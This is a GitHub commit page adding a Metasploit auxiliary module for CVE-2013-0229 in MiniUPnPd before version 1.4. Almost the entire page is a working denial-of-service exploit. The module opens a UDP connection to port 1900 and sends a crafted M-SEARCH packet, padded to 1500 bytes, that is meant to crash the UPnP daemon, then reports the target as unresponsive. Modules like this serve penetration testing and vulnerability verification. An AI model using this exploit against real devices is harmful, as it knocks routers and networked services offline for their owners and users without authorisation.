Skip to content

Commit 945dde3

Browse files
committed
Added CVE-2013-0229 for MiniUPnPd < 1.4
1 parent 41e2396 commit 945dde3

File tree

1 file changed

+86
-0
lines changed

1 file changed

+86
-0
lines changed
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::Udp
13+
include Msf::Auxiliary::Dos
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'MiniUPnPd < 1,4 denial of service (DoS) exploit',
18+
'Description' =>
19+
%q{
20+
This module allows remote attackers to cause a denial of service in MiniUPnP 1.0
21+
server via specifically crafted UDP request. This vulnerability was identified
22+
as CVE-2013-0229.
23+
},
24+
'Author' => [ 'Dejan Lukan' ],
25+
'License' => MSF_LICENSE,
26+
'Version' => '$Revision: 9999 $',
27+
'References' => [
28+
[ 'CVE', '2013-0229' ],
29+
[ 'OSVDB', '89625' ],
30+
],
31+
'DisclosureData' => 'Mar 27 2013',
32+
))
33+
34+
register_options(
35+
[
36+
Opt::RPORT(1900),
37+
], self.class)
38+
end
39+
40+
def run
41+
# connect to the UDP port
42+
connect_udp
43+
44+
# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the
45+
# ST line
46+
sploit = "M-SEARCH * HTTP/1.1\r\n"\
47+
"HOST: 239.255.255.250:1900\r\n"\
48+
"ST:uuid:schemas:device:MX:3"
49+
50+
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
51+
# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
52+
# characters: there's more chance that the the program will run off the stack.
53+
sploit += ' '*(1500-sploit.length)
54+
55+
# send the exploit to the target
56+
print_status("Sending malformed packet to #{rhost}...")
57+
udp_sock.put(sploit)
58+
59+
# disconnect from the server
60+
print_status("The target should be unresponsive now...")
61+
disconnect_udp
62+
end
63+
end
64+
65+
66+
67+
68+
69+
70+
71+
72+
73+
74+
75+
76+
77+
78+
79+
80+
81+
82+
83+
84+
85+
86+

0 commit comments

Comments
 (0)